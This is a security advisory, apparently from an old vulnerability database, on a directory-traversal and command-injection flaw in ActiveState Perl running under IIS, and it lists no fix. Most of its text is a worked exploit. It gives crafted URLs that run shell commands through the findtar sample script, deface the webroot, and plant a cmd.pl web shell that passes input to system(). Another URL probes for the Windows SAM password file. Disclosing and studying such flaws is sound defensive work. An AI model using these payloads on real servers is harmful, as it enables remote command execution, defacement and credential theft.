Vulnerability

    perl

Affected

    perl

Description

    Billy  Nothern  found  following.   Using  a  few  flaws  recently
    discovered (notably filename inspection),  and a couple new  ones,
    it is possible to get Perl to execute commands on the local system
    via IIS.  Although, there are a few requirements for this to work:

        1) Server has  to be running  ActiveState's Perl (only  tested
           with this, others MAY be vulnerable)
        2) Attacker knows where Perl is located

    We are assuming  that the wwwroot  of HOST is  C:\InetPub\wwwroot\
    and that Perl is located in  C:\Perl\.  Here is an example  URL an
    attacker could use:

        http://host/."./."./Perl/eg/core/findtar+&+echo+hacked+>+c:\InetPub\wwwroot\hacked.html+&+.pl

    That will execute C:\Perl\eg\core\findtar with arguments of:

        & echo hacked > c:\InetPub\wwwroot\hacked.html & .pl

    findtar is a  sample that comes  with ActiveState's Perl.   We are
    assuming it also  comes with other  versions of Perl  also.  There
    are several scripts that you can use to attack, we are just  using
    findtar as  an example.   When findtar  is executed,  it uses  the
    command line arguments in  an open() call.   Here is the bad  line
    of findtar:

        open(find,"/usr/bin/find $args -ls |") || die "Can't run find for you.";

    Just before this, $args is set by saying:

        $args = join(' ',@ARGV);

    As you can see, there  isn't any checking of the  arguments before
    they are passed to the open() call.  And why should there be,  you
    shouldn't  be  able  to  execute  this  from a browser anyway.  So
    passing the  arguments mentioned  earlier results  in the  command
    line:

        /usr/bin/find & echo hacked > c:\InetPub\wwwroot\hacked.html & .pl -ls

    Being executed on the system. Now going to http://host/hacked.html
    will result in "hacked" being displayed.

    A breakdown of the URL:

        http://host/                                            Just the host
        ."./."./                                                Traverses to C:\
        Perl/eg/core/findtar                                    Perl script to execute
        +&+echo hacked+>+c:\InetPub\wwwroot\hacked.html+&+.pl   Arguments to the Perl script.

    One disadvantage of this exploit is that it's "blind".  You  can't
    see what the output  of a given command  was.  That can  be easily
    fixed, see example.

    Here's an example attack:

        - Assuming that the wwwroot of HOST is C:\InetPub\wwwroot\
        - Assuming that Perl is located in C:\Perl\

        http://host/."./."./Perl/eg/core/findtar+&+echo+system(@ARGV);+>+c:\InetPub\wwwroot\cmd.pl+&+.pl

    We  now  have  a  file  at  http://host/cmd.pl  that  passes  it's
    arguments to system(); Executing commands is even easier now,  and
    we can see the command's output.   To execute "net view" we  would
    simply call:

        http://host/cmd.pl?net%20view

    And the  output would  be returned  to us.   It's worth mentioning
    that the various parts of this exploit can be used alone.

    You can get Perl  to read any file  you want by simply  traversing
    to  C:\  and  then  walking  back  up  to  it's  path.   To see if
    C:\winnt\repair\sam._ exists, we would simply go to:

        http://host/."./."./winnt/reapir/sam._%20.pl

    Perl will respond  with something other  than "File Not  Found" if
    the file exists.

    You could  use the  bad example  files from  ActiveState's Perl if
    Perl  was  installed,  anywhere  on  the  wwwroot  branch.  Say we
    installed Perl to C:\InetPub\wwwroot\Perl\.   It would be  trivial
    to get C:\InetPub\wwwroot\Perl\eg\core\findtar to execute commands
    for us.  This would also apply to a Unix installation.

    The ."./."./ part needs no explanation, that is extremely  useful.
    Breaking out of WEBROOT is a no-no.

Solution

    Nothing yet.